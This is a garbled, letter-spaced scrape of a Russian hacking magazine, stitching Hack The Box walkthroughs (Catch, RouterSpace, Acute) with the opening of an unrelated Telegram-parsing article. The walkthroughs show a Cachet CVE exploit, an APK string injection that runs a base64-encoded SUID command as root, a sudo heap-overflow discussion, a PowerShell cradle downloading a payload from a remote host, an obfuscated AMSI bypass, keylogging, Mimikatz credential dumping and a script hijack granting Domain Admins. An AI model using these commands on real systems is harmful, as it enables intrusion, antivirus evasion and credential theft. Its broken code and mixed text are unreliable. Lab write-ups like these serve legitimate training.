Там выбира ем заголо вок зап роса в качес тве типа и ука зыва ем замену пус того
поля нашим заголов ком.

Burp Proxy

Оп ции Burp Proxy

Об новля ем стра ницу чата в бра узе ре, в резуль тате чего получа ем редирект
на стра ницу  и спи сок групп./rooms

Спи сок групп поль зовате ля

Мо жем получить сооб щения из груп пы, выпол нив зап рос на адрес 

.

/rooms/<
is>/messages

Со обще ния из груп пы

В груп пе  находим перес ланные учет ные дан ные

поль зовате ля john.

61b86b28d984e2451036eb17

Со обще ние с учет ными дан ными

Про буем ввес ти эту учет ку на всех веб-сер висах и получа ем дос туп к плат- 
форме Cachet.

Фор ма авто риза ции Cachet

Глав ная стра ница Cachet

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://xakep.ru/2022/07/11/htb-routerspace/#toc02.
https://github.com/MobSF/Mobile-Security-Framework-MobSF
https://mobsf.live/


АНАЛИЗИРУЕМ И ПЕРЕКОМПИЛИРУЕМ
ПРИЛОЖЕНИЕ ДЛЯ ANDROID

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
В нас трой ках плат формы узна ем ее вер сию — .2.4.0-dev

Па рамет ры плат формы Cachet

Пер вым делом сто ит про верить, есть ли для этой вер сии готовые экс пло иты.
Самый надеж ный спо соб сде лать это — поис кать в интерне те на сай тах вро де

,  и, конеч но, GitHub.HackerOne exploit-db

По иск экс пло итов в Google

В  опи сано нес коль ко CVE. Нам инте рес на CVE-2021-39174,
которая поз волит про читать перемен ные сре ды.

бло ге Sonar

Зная номер CVE, мы най дем  на GitHub.го товый экс пло ит

По луче ние справ ки экс пло ита

Экс пло иту нуж но ука зать URL, имя поль зовате ля и пароль.

       python3 exploit.py --url http://status.catch.htb:8000 -n john -p
'E}V!mywu_69T4C}W'

По луче ние перемен ных сре ды

С получен ными учет ными дан ными под клю чаем ся к SSH и забира ем пер вый
флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать информа- 
цию. Делать мы это, как обыч но, будем при помощи скрип тов .PEASS

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате- 
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

Заг рузим на хост скрипт для Linux, дадим пра ва на исполне ние и запус тим его.
Из важ ного отме тим най ден ный скрипт на Bash , а так же

фай лы со спис ками дос тупа (ACLs).

/opt/mdm/verify.sh

Файл рута, дос тупный для чте ния

Фай лы со спис ком дос тупа

Боль ше ничего инте рес ного нет, поэто му прос мотрим, какие про цес сы пери- 
оди чес ки могут запус кать ся на хос те. В этом нам поможет прог рамма .pspy64

Ло ги pspy64

От име ни поль зовате ля root запус кает ся най ден ный нами скрипт. Раз берем,
что он выпол няет. Скрипт про ходит по фай лам в катало ге ,
копиру ет их в каталог  и переда ет в фун кции

,  и .

/opt/mdm/apk_bin
/root/mdm/cerified_apps

sig_check comp_check app_check

Ос новной код скрип та

В фун кции  с помощью ути литы  про веря ется под пись

фай ла.

sig_check jarsigner

Код фун кции sig_check

В фун кции  ути лита  декоди рует файл, пос ле чего из фай ла

 пар сится вер сия SDK.

comp_check apktool
AndroidManifest.xml

Код фун кции comp_check

И в пос ледней фун кции  из фай ла  пар- 

сится наз вание при ложе ния, которое дол жно начинать ся с . Резуль тат

встав ляет ся в коман ду .

app_check res/values/strings.xml
Catch

echo

Код фун кции app_check

Это путь к выпол нению кода, при чем в кон тек сте поль зовате ля root. Все, что
нам нуж но сде лать, — это смас терить APK, который будет содер жать файл

 и коман ду тер минала в парамет ре . Пос ле
чего этот файл нуж но будет под писать.
res/values/strings.xml app_name

Но еще удоб нее — деком пилиро вать ска чан ный APK, внес ти изме нения
и реком пилиро вать его. Для деком пиляции будем исполь зовать .apktool

 apktool d -r -s catchv1.0.apk 

Де ком пилиро вание APK-фай ла

Те перь соз дадим файл , содер жащий кон вей ер
команд, который выпол няет коман ду .

/res/values/strings.xml
chmod u+s /bin/bash

 <string name="app_name">Catch|echo Y2htb2QgdStzIC9iaW4vYmFzaAo= | 
base64 -d | bash</string>

Наз начение S-бита фай лу коман дной обо лоч ки поможет запус тить ее от име ни
рута. Оста лось соб рать файл обратно с помощью того же apktool.

 apktool b -f -d ./catchv1.0 -o ./catch_new.apk 

Сбор ка фай ла APK

Те перь под пишем файл с помощью  и заг рузим на уда лен ный хост

в каталог .

jarsigner

/opt/mdm/apk_bin

   
RSA 
keytool -genkey -v -keystore r.keystore -alias alias_name -keyalg

-keysize 2048 -validity 10000 
 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore .

/r.keystore ./catch_new.apk alias_name 

Дож демся оче ред ного выпол нения скрип та, что бы S-бит был наз начен фай лу
коман дной обо лоч ки.

Пра ва фай ла /bin/bash

Ви дим, что SUID выс тавлен, поэто му запус каем новый bash уже в при виле- 
гиро ван ном кон тек сте и забира ем флаг рута.

Флаг рута

Ма шина зах вачена!

https://www.hackerone.com/
https://www.exploit-db.com/
https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/
https://raw.githubusercontent.com/narkopolo/CVE-2021-39174-PoC/main/exploit.py
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/DominicBreuker/pspy


ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ
БАГ В SUDO

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе мы про ана лизи руем при- 
ложе ние для Android, что бы най ти уяз- 
вимость на сер вере, а затем повысим при- 
виле гии с помощью уяз вимос ти в sudo.
Наша цель — зах ватить «лег кую» машину
RouterSpace с пло щад ки .Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в , что бы было удоб нее обра щать ся
к ней:

/etc/hosts

10.10.11.148    routerspace.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро- 
вание, на вто ром — более тща тель ное ска ниро вание с исполь зовани ем име- 
ющих ся скрип тов (опция ).-A

#!/bin/bash
nmap  500  |     1 

|    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

На ходим два откры тых пор та: 22 — служ ба SSH и 80 — веб-сер вер. Пер вым
делом, как обыч но, ищем любую полез ную информа цию на сай те. Дол го
искать не приш лось — находим ссыл ку на ска чива ние фай ла APK.

Глав ная стра ница сай та

Мы ска чали при ложе ние для Android, но нуж на соот ветс тву ющая вир туаль ная
машина. Я буду исполь зовать AVD, который вхо дит в . Ниже при- 
веду эта пы раз верты вания подоб ной «вир туал ки».

Android Studio

ÒÎ×ÊÀ ÂÕÎÄÀ
Пер вым делом нуж но выб рать тип и модель вир туаль ного девай са.

Вы бор устрой ства

За тем накатить нуж ную вер сию Android и при нять кон фигура цию по умол чанию.

Вы бор вер сии ПО

Кон фигура ции соз данно го устрой ства

Те перь в менед жере устрой ств дол жна отоб ражать ся толь ко что соз данная
вир туаль ная машина.

Ме нед жер устрой ств

Нам необ ходимо акти виро вать режим раз работ чика. Для это го, как и в реаль- 
ном смар тфо не, заходим в нас трой ки: System → About и мно го раз нажима ем
на поле Build number.

В кон це кон цов отоб разит ся сооб щение, что режим раз работ чика акти виро- 
ван. В меню System появит ся новое меню Developer options.

System → About и новый System

В меню раз работ чика сле дует акти виро вать отладку по USB (USB debugging),
что бы мы мог ли управлять устрой ством с помощью ADB.

 — это уни вер саль- 
ный инс тру мент коман дной стро ки, который поз- 
воля ет вза имо дей ство вать с устрой ством
Android. ADB упро щает выпол нение раз личных
дей ствий с устрой ством, таких как уста нов ка
и отладка при ложе ний, а так же пре дос тавля ет
дос туп к обо лоч ке Unix, которую мож но исполь- 
зовать для выпол нения команд. Под робнее
про ADB читай в статье «

».

Android Debug Bridge (ADB)

Иг ра всле пую. Управля- 
ем Android-смар тфо ном через ADB

Сна чала пос мотрим под клю чен ные устрой ства.

adb devices 

Спи сок под клю чен ных устрой ств

Те перь уста новим ска чан ное при ложе ние. Сде лать это прос то:

adb install RouterSpace.apk 

Ус танов ка при ложе ния через ADB

И в меню нашего Android появит ся икон ка уста нов ленной APK. Пос ле запус ка
уви дим изоб ражение роуте ра и кноп ку для про вер ки ста туса соеди нения.

Ме ню при ложе ний

При ложе ние RouterSpace

При про вер ке ста туса при ложе ние отправ ляет какие-то дан ные по сети. Что бы
узнать, что имен но оно отправ ляет, про пус тим тра фик через .

Для это го в нас трой ках Burp Proxy соз дадим новый Proxy Listener на VPN-
интерфей се (у меня это tun0). Для прос лушива ния я ука зал порт 8081.

Burp Proxy

Нас трой ка Burp Proxy

А так же уста новим эти нас трой ки в AVD: Settings → Proxy.

Нас трой ка AVD Proxy

И при сле дующей про вер ке ста туса соеди нения уви дим в Burp перех вачен ный
пакет.

Зап рос в Burp Proxy

ÒÎ×ÊÀ ÎÏÎÐÛ
Ком бинаци ей кла виш Ctrl-R переве дем зап рос в . Затем

выпол ним зап рос и получим в ответ тот же адрес.

Burp Repeater

Тес товый зап рос в Burp Repeater

Нуж но про верить, дей стви тель но ли сер вер воз вра щает то, что мы ему прис- 
лали, или под верга ет дан ные допол нитель ной обра бот ке. Для это го добавим
еще какие-нибудь слу чай ные сим волы к дан ным в нашем зап росе.

Тес товый зап рос в Burp Repeater

И сно ва получа ем то, что отпра вили. Толь ко добав ляет ся сим вол перево да
стро ки . Это типич но для коман ды . Веро ятно, наш ввод переда ется

в коман дную обо лоч ку. Поп робу ем выпол нить инъ екцию коман ды .

\n echo
id

Инъ екция коман ды id

Ко ман да успешно выпол нилась! Оста лось получить пол ноцен ную коман дную
обо лоч ку. Попыт ки проб росить реверс-шелл ока зались безус пешны, тог да я
коман дой  сге нери ровал пару клю чей SSH и записал пуб личный

на сер вер в файл .

ssh-keygen
~/.ssh/authorized_keys

За пись SSH-клю ча

А теперь под клю чим ся с помощью при ват ного клю ча, получим сес сию SSH
и заберем поль зователь ский флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Мы получи ли дос туп к сер веру, но от име ни поль зовате ля. Теперь нуж но соб- 
рать как мож но боль ше информа ции, что бы понять, как доб рать ся до рута.
Как всег да, вос поль зуюсь скрип том PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате- 
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

С помощью SSH заг рузим на хост скрипт для Linux.

scp -i id_rsa linpeas.sh paul@routerspace.htb:~/ 

Пос ле его выпол нения на уда лен ном хос те получа ем огромный мас сив
информа ции. Но из полез ного скрипт под све чива ет нам вер сию sudo и ука- 
зыва ет, что в ней есть уяз вимость.

Вер сия sudo

Су щес тву ющие уяз вимос ти

Это : любой неп ривиле гиро ван ный поль зователь может
получить при виле гии root на уяз вимом хос те, исполь зуя кон фигура цию sudo
по умол чанию.

CVE-2021-3156

Внут ри это устро ено так. Судо ер объ еди няет передан ные ему аргу мен ты
коман дной стро ки в буфер, выделен ный в куче. Одна ко если аргу мент коман- 
дной стро ки закан чива ется одним сим волом обратной косой чер ты, то
это вызыва ет ошиб ку в сле дующем бло ке кода.

        if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
      if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
   ...

                    for (to = user_args, av = NewArgv + 1; (from = *av); av++)
{

             while (*from) {
                     if (from[0] == '\' && !isspace((unsigned char)from

[1]))
                   from++;

                 *to++ = *from++;
           }

             *to++ = ' ';
       }
   ...
   }

...
}

Та ким обра зом, если в нашем слу чае  — это , тог да  будет

завер шающим нуль-сим волом  (не про белом), а это при ведет к выпол нению

усло вия опе рато ра . Тог да про изой дет сме щение ука зате ля 
на нуль-сим вол и копиро вание в перемен ную  (через ). Все

это при ведет к копиро ванию в эту перемен ную дан ных уже за пре дела ми
буфера — то есть перепол нению буфера в куче.

from[0] \ from[1]
\0

if from
user_args to

Но что бы попасть в этот уяз вимый блок кода, судо ер дол жен быть запущен
в режиме . Это го мож но дос тичь, если при запус ке ука зать опцию 

 или  (она добавит допол нитель но ). И помимо это го,

с одним из фла гов ,  ( ) и  ( ).

MODE_SHELL -
s -i MODE_LOGIN_SHELL

MODE_RUN MODE_EDIT -e MODE_CHECK -l
А теперь самое инте рес ное: если выпол няет ся сле дующее усло вие, то про- 

изой дет экра ниро вание всех метасим волов, вклю чая обратную косую чер ту,
и уяз вимый блок кода ста новит ся недос тижимым!

     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL))

Слож ность в том, что мы не можем акти виро вать режим 
или  без акти вации . Но можем вос поль зовать ся

, который авто мати чес ки уста новит , но не . Ну

а пос ле получе ния уяз вимос ти перепол нения буфера в куче воз можны раз ные
вари анты.

MODE_EDIT
MODE_CHECK MODE_RUN

sudoedit MODE_EDIT MODE_RUN

Под робный раз бор CVE-2021-3156 читай
в статье «

».
Ког да всё супер. Повыша ем при виле гии

до супер поль зовате ля через уяз вимость

Ав томати чес кая экс плу ата ция этой уяз вимос ти уже реали зова на в 
. Прос то заг рузим скрипт на хост и выпол ним для получе ния при виле- 

гиро ван ного кон тек ста.

го товом экс- 
пло ите

Флаг рута

Ма шина зах вачена!
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ВЗЛОМ

В этом рай тапе я покажу ата ку на Active
Directorу с помощью популяр ного инс тру- 
мен та Cobalt Strike. Мы про ведем базовый
сбор информа ции, что бы получить пер- 
воначаль ный дос туп, затем пос ледим
за дей стви ями поль зовате ля, воору жив- 
шись кей лог гером и скрин шотером, а так- 
же рас смот рим один из методов прод- 
вижения с исполь зовани ем PowerShell.

Про ходить мы будем машину Acute с пло щад ки . Уро вень слож- 
ности — hard.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.145    acute.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро- 
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име- 
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем все го один откры тый порт — 443, стан- 
дар тный для веб-сер вера. Пос коль ку на нем исполь зует ся SSL, мы можем
пос мотреть сер тификат и в поле  находим домен, для которо го он
дей стви телен. Nmap авто мати чес ки отоб ража ет это поле в резуль тате ска ниро- 
вания. Новый домен тоже добавим в .

commonName

/etc/hosts

10.10.11.145    acute.htb atsserver.acute.local 

Глав ная стра ница atsserver.acute.local

Идем осматри вать сайт. Ссы лок на нем малова то, но одна из них ведет
на документ.

Стра ница с докумен том

Ска чаем док для ана лиза: в нем может быть инте рес ная информа ция.

ÒÎ×ÊÀ ÂÕÎÄÀ

В докумен те находим какой-то дефол тный пароль. Такие вещи всег да сто ит
отме чать — при про хож дении лабора торок они по закону жан ра обя заны
еще выс тре лить.

Со дер жимое ска чан ного докумен та

Так же находим упо мина ние работы, а чуть даль ше и ссыл ку на PSWA
(PowerShell Web Access). Эта фун кция поз воля ет уда лен но управлять сер вером
с помощью PowerShell через обыч ный бра узер. Домен ное имя из ссыл ки
добавим в файл ./etc/hosts

10.10.11.145    acute.htb atsserver.acute.local 

Пе рехо дим по най ден ной ссыл ке, и нам откры вает ся панель авто риза ции
PSWA.

Па нель авто риза ции PSWA

У нас есть пароль, оста лось най ти име на поль зовате ля и машины.

ÒÎ×ÊÀ ÎÏÎÐÛ

Фай лы вро де офис ных докумен тов очень полез ны при раз ведке. Их метадан- 
ные могут содер жать, к при меру, имя поль зовате ля и наз вание машины.
Поэто му пер вым делом получим метадан ные ска чан ного фай ла с помощью

.Exiftool

Ме тадан ные докумен та

Из поля  получа ем имя поль зовате ля, а поле  рас кры вает

имя машины. Но с эти ми учет ными дан ными под клю чить ся не получи лось,
поэто му я пошел искать на сай те дру гие под сказ ки. И нашел... име на поль- 
зовате лей.

Creator Description

Най ден ные поль зовате ли

Фор миру ем спи сок по уже име юще муся у нас фор мату.

Спи сок акка унтов

И с най ден ным паролем на обоз начен ной машине мы получа ем коман дную
веб-обо лоч ку PowerShell от име ни поль зовате ля .edavies

Ко ман дная веб-обо лоч ка

Для даль нейшей экс плу ата ции и прод вижения я решил исполь зовать популяр- 
ный фрей мворк . Пер вым делом соз дадим лис тенер.Cobalt Strike

Па рамет ры лис тенера

Для удоб ной дос тавки наг рузки будем исполь зовать скрипт на PowerShell, рас- 
положен ный на локаль ном веб-сер вере.

Нас трой ки Scripted Web Delivery

Пос ле нас трой ки нам даже дадут коман ду, которую необ ходимо ввес ти
на целевой сис теме.

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).
downloadstring('http://10.10.14.26:80/info'))"

Ошиб ка запус ка наг рузки

Но нас оста нав лива ет анти вирус, который триг гернул из-за AMSI.

Antimalware Scan Interface (AMSI) — это ком понент Microsoft Windows, который
обес печива ет более глу бокую про вер ку встро енных служб сце нари ев. Прод- 
винутое вре донос ное ПО исполь зует замас кирован ные или зашиф рован ные
сце нарии, что бы укло нить ся от тра дици онных методов про вер ки. Такое вре- 
донос ное ПО час то заг ружа ется непос редс твен но в память, поэто му
не исполь зует фай лы на устрой стве. AMSI — это интерфейс, через который
при ложе ния и служ бы в Windows отправ ляют зап росы на про вер ку уста нов- 
ленно му на компь юте ре средс тву защиты от вре донос ного ПО.

Но мы можем запат чить AMSI, что бы исполь зуемый нами код не ухо дил на про- 
вер ку. Метод зак люча ется в изме нении адре сов заголов ков  (кон- 
текст, в котором про исхо дит ска ниро вание): зануля ем ука затель.

amsiContext

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.
Encoding]::Unicode.GetString([Convert]::FromBase64String(
'QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::
Unicode.GetString([Convert]::FromBase64String(
'YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').
SetValue($null,$true)

Патч AMSI

И пос ле пов торно го запус ка наг рузки получа ем активную сес сию в нашем
фрей мвор ке.

Граф сес сий в CS

Продолжение статьи →
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ÏÐÎÄÂÈÆÅÍÈÅ

По лучив кон троль над хос том, я сра зу прос мотрел запущен ные про цес сы
и сес сии активных поль зовате лей.

Process Explorer в Cobalt Strike

Ви дим запущен ные про цес сы  в пер вой сес сии. Это зна чит,

что поль зователь авто ризо ван и выпол няет опре делен ные задачи. Что бы
получить дос туп к окру жению сес сии, нам нужен кон троль над ней. Дру гими
сло вами, наш агент дол жен работать в той же сес сии.

powershell.exe

Для это го я решил выпол нить инъ екцию наг рузки SMB beacon в про цесс
. Но для начала нуж но соз дать SMB-лис тенер.explorer.exe

Па рамет ры SMB-лис тенера

Ког да лис тенер соз дан, можем пря мо в Process Explorer «Кобаль та» най ти
целевой про цесс и выпол нить инъ екцию в него.

Вы пол нение инъ екции в про цесс explorer.exe

На гра фе свя зей мы дол жны уви деть новый агент.

Граф сес сий Cobalt Strike

Так как поль зователь запус тил PowerShell, поп робу ем прос мотреть его
рабочий стол. Process Explorer поз воля ет лег ко запус тить скрин шотер.
При запус ке нас спро сят, хотим ли мы получать скрин шоты пери оди чес ки (фун- 
кция ), — отка зыва емся. Пос ле выпол нения коман ды най дем
получен ное изоб ражение в хра нили ще скрин шотов Cobalt Strike.

screenwatch

Хра нили ще скрин шотов Cobalt Strike

Ви дим, что поль зователь пыта ется под клю чить ся к дру гому хос ту с помощью
. Эта коман да тре бует учет ных дан ных, которые

мы можем «под смот реть». Поэто му я запус тил скрин шотер в потоко вом
режиме, а так же акти виро вал кей лог гер. Все это мож но сде лать пря мо из бра- 
узе ра про цес сов Cobalt Strike.

powershell enter-pssession

Но ввод тянет ся неверо ятно дол го. В ожи дании я про вел базовую раз ведку
в сети: получил хос ты и поль зовате лей домена. Так мы будем луч ше пред став- 
лять себе потен циаль ные цели.

net computers 

Спи сок хос тов в домене

shell net users /domain 

Спи сок поль зовате лей в домене

И вот наконец подос пели учет ные дан ные. Идея запус тить кей лог гер была
хорошей, так как коман ду нуж но теперь прос то ско пиро вать, а не перепе чаты- 
вать с кар тинки.

Хра нили ще скрин шотов Cobalt Strike

Хра нили ще кей логов Cobalt Strike

У поль зовате ля под клю чить ся не получи лось, но и у меня тоже. Тог да про буем
вмес то  исполь зовать . Ниже — скрипт

для под клю чения и соот ветс тву ющая коман да для Cobalt Strike.

enter-pssession invoke-command

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText 
-Force
$cred = New-Object System.Management.Automation.PSCredential (
"acute\imonks",$passwd)
Invoke-Command -computername ATSSERVER -ConfigurationName 
dc_manage -credential $cred -command { ls C:\Users\imonks\Desktop 
}

  
    

,  
 

   C: sers monks

powershell $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce."
-AsPlainText -Force ; $cred = New-Object System.Management.
Automation.PSCredential ("acute\imonks" $passwd) ; Invoke-Command 
-computername ATSSERVER -ConfigurationName dc_manage -credential
$cred -command { ls \U \i \Desktop }

Со дер жимое рабоче го сто ла поль зовате ля imonks

На рабочем сто ле есть скрипт на PowerShell и флаг поль зовате ля, который мы,
естес твен но, забира ем (даль ше пишу толь ко основную коман ду).

C: sers monkstype \U \i \Desktop\user.txt 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так же мы получа ем инте рес ный скрипт на PowerShell:

C:\Users\imonks\Desktop\wm.ps1 

Да вай раз берем ся с ним.

Со дер жимое фай ла wm.ps1

Этот скрипт нужен, что бы под клю чать ся к уже кон тро лиру емо му нами хос ту
 и выпол нять коман ду .ACUTE-PC01 Get-Volume

При мер запус ка скрип та wm.ps1

Так как скрипт отра ботал на ура, мож но его изме нить и выпол нить свою коман- 
ду. К при меру, запус тить файл с наг рузкой. Проб лема толь ко в том, что, если
закинуть файл на хост, его спа лит анти вирус. Давай прос мотрим исклю чения
Windows Defender.

aths 
reg query x64 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\
P

Ис клю чения анти виру са

Это зна чит, что фай лы в ука зан ных катало гах про верять ся не будут. Тог да
генери руем «маяк» SMB в фор мате исполня емо го фай ла .exe и заг ружа ем
в каталог .C:\Utils\

Те перь зай мем ся изме нени ем скрип та. Для работы нам нуж на толь ко стро- 
ка с выпол нени ем коман ды, а все пред шес тву ющие ей я сох раняю в файл
и импорти рую с помощью коман ды .powershell-import

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText 
-Force
$cred = New-Object System.Management.Automation.PSCredential (
"acute\imonks",$passwd)

Для изме нения уда лен ного скрип та будем исполь зовать цепоч ку команд: счи- 
тыва ем содер жимое фай ла, заменя ем коман ду, записы ваем в файл.

Invoke-Command -computername ATSSERVER -ConfigurationName 
dc_manage -credential $cred -command { ((cat "c:\users\imonks\
Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c C:\Utils\
b.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1 }

Пос ле успешно го изме нения скрип та прос то выпол няем его.

Invoke-Command -computername ATSSERVER -ConfigurationName 
dc_manage -credential $cred -ScriptBlock { C:\Users\imonks\
Desktop\wm.ps1 }

Те перь в спис ке про цес сов мы дол жны най ти свой SMB-маяк, у меня это файл
.b.exe

Бра узер про цес сов Cobalt Strike

Те перь прос то под клю чаем ся к SMB-наг рузке. Для это го коман де  ука- 

зыва ем хост и имя SMB-пай па (исполь зуемо го при соз дании лис тенера).

link

Под клю чение к SMB-наг рузке

В гра фе сес сий появ ляет ся новая машина, при чем мол нии ука зыва ют, что маяк
работа ет с пра вами адми нис тра тора.

Граф сес сий Cobalt Strike

ÏÐÎÄÂÈÆÅÍÈÅ

Так как мы получи ли пра ва адми нис тра тора на одном из хос тов, есть повод
поохо тить ся за учет ными дан ными. Но сна чала получим кон текст SYSTEM.
Один из спо собов сде лать это — выпол нить инъ екцию в про цесс, работа ющий
в этом кон тек сте. Я выб рал svchost.exe.

Бра узер про цес сов Cobalt Strike

Граф сес сий Cobalt Strike

Те перь, ког да у нас мак сималь ные пра ва на хос те, исполь зуем популяр ную
ути литу , а точ нее, модуль sekurlsa::logonpasswords.Mimikatz

Ис поль зование Mimikatz в Cobalt Strike

Mimikatz помог дос тать учет ные дан ные из про цес са lsass.exe. Но есть еще и
база SAM, для работы с которой понадо бит ся .hashdump

Ис поль зование hashdump в Cobalt Strike

Все получен ные пароли и хеши Cobalt Strike авто мати чес ки рас парсит
и добавит в хра нили ще учет ных дан ных.

Хра нили ще учет ных дан ных Cobalt Strike

У нас есть нес коль ко хешей, но куда луч ше знать их про обра зы, то есть пароли
в чис том виде. Вос поль зуем ся  для взло ма NTLM-хешей
по уже готовым базам.

он лайн-сер висом

Взлом NTLM-хешей

Нам уда ется получить еще один пароль. Переби рая воз можные ком бинации
имен поль зовате лей и паролей через , получа ем

еще одно го юзе ра — .

powershell Invoke-Command
awallace : Password@123

  
    

,  

    

powershell $passwd = ConvertTo-SecureString "Password@123"
-AsPlainText -Force ; $cred = New-Object System.Management.
Automation.PSCredential ("acute\awallace" $passwd) ; Invoke-
Command -computername ATSSERVER -ConfigurationName dc_manage 
-credential $cred -command { whoami /all }

Вы пол нение коман ды whoami

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ Â ÄÎÌÅÍÅ

Даль ше я пошел по сво ему чек-лис ту в поис ках пути для повыше ния при виле- 
гий. В дирек тории  нашел ся каталог , а в нем

файл .bat.

C:\program files\ keepmeon

Со дер жимое С:\Program Files\

C:\program les\keepmeon\

Этот скрипт будет запус кать все bat-фай лы в текущем катало ге.

Со дер жимое фай ла keepmeon.bat

Соз дадим бат ник admin.bat, который добавит текуще го поль зовате ля в груп пу
адми нис тра торов домена ( ).Domain Admins

Invoke-Command -computername ATSSERVER -ConfigurationName 
dc_manage -credential $cred -command { Set-Content -Path 'c:\
program files\Keepmeon\admin.bat' -Value 'net group "Domain 
Admins" awallace /add /domain' }

За тем начина ем пери оди чес ки про верять груп пы нашего поль зовате ля. И в
какой-то момент мы уви дим груп пу .Domain Admins

shell whoami /groups 

Груп пы поль зовате ля

И забира ем флаг рута с уда лен ного хос та.

Invoke-Command -computername ATSSERVER -ConfigurationName 
dc_manage -credential $cred -command { type C:\Users\
Administrator\Desktop\root.txt }

Флаг рута

Ма шина зах вачена!
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ПРИВАТНОСТЬ

Не дав но оку нул ся в вол шебный мир пар- 
синга чатов в «Телег раме» и был удив лен,
сколь ко одно тип ных воп росов зада ют,
какой низ кий уро вень понима ния у людей,
нуж дающих ся в пар синге, и как мно го раз- 
водов и зло упот ребле ний со сто роны тех,
кто берет ся пре дос тавлять такую услу гу.
Пос мотрев на это, я решил разоб рать ся
самос тоятель но.

В этой статье я пос тара юсь мак сималь но дос тупно даже для далеких от кодин- 
га людей рас ска зать, что мож но сде лать, что нель зя и какова тру доем кость
все го про цес са. Готовых исходни ков, прав да, я тебе не выдам, но будут
неболь шие при меры для наг ляднос ти.

Как извес тно, в «Телег раме» есть чаты и каналы, куда, быва ет, набива ется
мно жес тво поль зовате лей. Иног да весь ма полез но иметь их спи сок, нап ример
для каких-то рас сылок и приг лашений.

Обыч но под сло вом «пар синг» в кон тек сте телеги понима ется имен но
получе ние спис ка поль зовате лей канала или чата. Реже — получе ние еще и
спис ка сооб щений.

ÊÀÍÀËÛ

Нач нем с каналов. Канал — это некий ресурс в «Телег раме», где юзе ры толь ко
